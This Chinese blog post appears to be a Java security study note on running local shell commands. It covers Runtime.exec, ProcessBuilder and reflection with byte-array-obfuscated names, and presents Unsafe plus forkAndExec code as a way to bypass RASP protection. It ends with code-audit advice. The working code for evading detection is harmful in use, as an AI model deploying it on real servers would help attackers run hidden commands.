java执行命令

参考

[本地命令执行 · 攻击Java Web应用-Java Web安全] (javasec.org)

runtime 直接加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void DirectLoad(String...cmds) throws IOException {
Runtime.getRuntime().exec(cmds);
try {
Process process= Runtime.getRuntime().exec(cmds);
InputStream inputStream = process.getInputStream();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
String output = outputStream.toString();
System.out.println(output);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

通过反射加载getruntime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void ReflectLoad(String cmds) throws IOException {
// 获取java.lang.Runtime
String rt=new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
try {
Class<?> clazz=Class.forName(rt);
// 获取getRuntime方法
Method m1=clazz.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 获取Exec方法
Method m2=clazz.getMethod(new String(new byte[]{101, 120, 101, 99}),String.class);
// 反射调用exec方法
Object ovj2=m2.invoke(m1.invoke(null,new Object[]{}),new Object[]{cmds});
// 获取getInputStream方法
Method m = ovj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令行结果
Scanner s =new Scanner((InputStream)m.invoke(ovj2,new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
System.out.println(result);
}catch (Exception e){
e.printStackTrace();
}
}

调用UseProcessBuilder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void UseProcessBuilder(String... cmds){
try {
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
String output = outputStream.toString();
System.out.println(output);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

反射UNIXProcess/ProcessImpl执行本地命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
public static byte[] toCString(String s) {
if (s == null) {
return null;
}

byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}

public static InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});

// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});

Class clazz = null;

// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}

// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);

assert strs != null && strs.length > 0;

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];

int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}

int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};

FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;

// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}

// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);

// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);

return (InputStream) inMethod.invoke(object);
}

static String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}

ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}

return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}

// 反射UNIXProcess/ProcessImpl执行本地命令
public static void ReflectUNIXProcess(String... cmds) throws Exception {
InputStream in= start(cmds);
String ret=inputStreamToString(in,"UTF-8");
System.out.println(ret);
}

使用

1
2
3
4
5
public static void main(String[] args) throws Exception {
String[] cmds= {"/bin/bash","-c", "cd /Users/august/code/java/JavaSecLearn&&ls -al"};
// 反射UNIXProcess/ProcessImpl执行本地命令
ReflectUNIXProcess(cmds);
}

forkAndExec命令执行-Unsafe+反射+Native方法调用

如果RASPUNIXProcess/ProcessImpl类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
public static void UnsafeLoad(String[] strs) throws Exception {
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class processClass = null;

try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}

Object processObject = unsafe.allocateInstance(processClass);

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes

for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}

int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});

forkMethod.setAccessible(true);// 设置访问权限

int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});

// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);

// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
System.out.println(baos.toString());
}
}

JNI命令执行

java 通过JNI 调用动态链接库,只需要在动态链接库中写一个本地命令就OK 了

但是这个方法对攻击服务器的作用并不是很大

首先你不像前面的Java 原生代码 ,可以直接使用工具编写成一个字节

在这个场景下需要,提前给系统添加一个动态链接库才行。

如果将动态链接库编写成base64 编码之后的字符串的话,对http 数据包的大小有更强的依赖。

java本地命令 执行

Java本地命令执行是一个非常高危的漏洞,一旦被攻击者利用后果不堪设想。这个漏洞原理一样是非常简单且容易被发现。开发阶段我们应该尽可能的避免调用本地命令接口,如果不得不调用那么请仔细检查命令执行参数,严格检查(防止命令注入)或严禁用户直接传入命令!代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl等关键词,这样可以快速找出命令执行点。


java执行命令
https://tsy244.github.io/2025/05/17/java安全/java执行命令/
Author
August Rosenberg
Posted on
May 17, 2025
Licensed under